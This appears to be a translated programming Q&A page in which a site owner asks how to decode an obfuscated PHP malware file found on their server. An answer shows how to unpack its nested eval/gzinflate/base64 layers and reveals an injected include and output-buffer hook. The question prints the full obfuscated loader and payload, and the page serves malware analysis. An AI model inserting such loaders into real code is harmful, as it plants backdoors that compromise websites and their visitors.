最好的解码方法?

时间:2013-04-25 00:01:32

标签: php base64 eval decode

所以我发现我已经被这个恶意代码感染了。它看起来像一个“eval(gzinflate(base64_decode)但我无法在任何地方找到base64,它看起来像这样

<?php
$md5 = "89e17508d2ddfa94b9c1f45918963218";
$a0 = array("r",')',"6",'_','s',"g","e","l",'z',';','a',"b",'d',"v",'$',"t",'n',"o",'(',"i","c",'4',"f");
$b0c = create_function('$'.'v',$a0[6].$a0[13].$a0[10].$a0[7].$a0[18].$a0[5].$a0[8].$a0[19].$a0[16].$a0[22].$a0[7].$a0[10].$a0[15].$a0[6].$a0[18].$a0[11].$a0[10].$a0[4].$a0[6].$a0[2].$a0[21].$a0[3].$a0[12].$a0[6].$a0[20].$a0[17].$a0[12].$a0[6].$a0[18].$a0[14].$a0[13].$a0[1].$a0[1].$a0[1].$a0[9]);
$b0c('DZa3DqwIEkU/Z94TAd5pNAHem8ZDssKbxnv4+u2k4pLOrVunPNP+T/22Y9Wne/knS7eSwP5XlPlUlH/+4ZNEXDdf2b5uBMHRcwkvQUxSMnjwPKRAklcRqLuSbXxxoQgj3qbQyDvDj1z4YJklEWun4Nauw3auo42+y2UoSeq/bOg4MVLc43BMZcUkCxAnZ+XhFhQj5CLXaciHV9QbCAjcLbuYVBd8SQao6AHIVgBtKUHtLOUzEuonkmVSStiGu2xUemMPaOu9yaWIkmApmQ+FTD/MFJHYa/qyYw6WYshD7V/NDR87ebMcGTlaZ0p5AMufS3fcbg55fs4C4O73EMwbvqA3MsiPAglaAtJiR4Tl199hwKStaMaayEoQyRHNO5dzn/SlTB4IF7HIEVchSPMBY+WmEaMN7dxRK5QJU2c/1zQOv7mxD6SOPMgT0LvA7rdA+VWtd2qVgLl5d0Fwd/aF/CWEYFHBlwrIO9apc7MG0OGGZdCJUjb61DTk3S/lrr6eNFe/aJA9vCeFQydmmCw6ZR7KyGaxIDnEKLovwuq5MuIiWBnSAt/CCHKn8QwKGnhdr7AkQIApFt55BmnZMBFKdafDKInP99zqod+us7zG3uH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ljhW7lAxS/0Aph5/NR9cJwXKCO4k6LpEw5dQbfz9J3e5nBji84gzE6ECxx3t4qvV1ABT1kQKue9VZ4599xVu5/p8tnKf8ErLUne2BTDID6BJit5zvNsPLvI+CLDeSidDyAwmiWxUTMMA3F85lcg+JK/jcEdBJnrv//++fv377//Bw==');
?>
<?php

解码此问题的最佳方法是什么?任何帮助将不胜感激。

1 个答案:

答案 0 :(得分:0)

替换

$b0c = create_function('$'/*...*/);

echo '$'/*...*/;

将获得

$veval(gzinflate(base64_decode($v)));

然后

echo gzinflate(base64_decode($v));

经过几次迭代,你会得到

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/var/www/vhosts/jag35.com/httpdocs/app/design/frontend/default/iphone/template/catalog/product/view/options/type/f01.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}

一些自动化。

$string = 'DZa3DqwIEkU/Z94TAd5pNAHem8ZDssKbxnv4+u2k4pLOrVunPNP+T/22Y9Wne/knS7eSwP5XlPlUlH/+4ZNEXDdf2b5uBMHRcwkvQUxSMnjwPKRAklcRqLuSbXxxoQgj3qbQyDvDj1z4YJklEWun4Nauw3auo42+y2UoSeq/bOg4MVLc43BMZcUkCxAnZ+XhFhQj5CLXaciHV9QbCAjcLbuYVBd8SQao6AHIVgBtKUHtLOUzEuonkmVSStiGu2xUemMPaOu9yaWIkmApmQ+FTD/MFJHYa/qyYw6WYshD7V/NDR87ebMcGTlaZ0p5AMufS3fcbg55fs4C4O73EMwbvqA3MsiPAglaAtJiR4Tl199hwKStaMaayEoQyRHNO5dzn/SlTB4IF7HIEVchSPMBY+WmEaMN7dxRK5QJU2c/1zQOv7mxD6SOPMgT0LvA7rdA+VWtd2qVgLl5d0Fwd/aF/CWEYFHBlwrIO9apc7MG0OGGZdCJUjb61DTk3S/lrr6eNFe/aJA9vCeFQydmmCw6ZR7KyGaxIDnEKLovwuq5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3oMWRuuA1+2ga8eOitPdJZ0706QJIle7DdJAi6Jp6eY38GnGnDeM/QOn5WfT1cmljhW7lAxS/0Aph5/NR9cJwXKCO4k6LpEw5dQbfz9J3e5nBji84gzE6ECxx3t4qvV1ABT1kQKue9VZ4599xVu5/p8tnKf8ErLUne2BTDID6BJit5zvNsPLvI+CLDeSidDyAwmiWxUTMMA3F85lcg+JK/jcEdBJnrv//++fv377//Bw==';
$stay = true;
do
    {
    $string = gzinflate(base64_decode($string));
    echo $string . PHP_EOL;
    if (preg_match("/eval\(gzinflate\(base64_decode\(\'(.*)\'\)\)\);/", $string, $match))
        $string = $match[1];
    else
        $stay = false;
    }
while ($stay);

但事实是,它过于本地化了。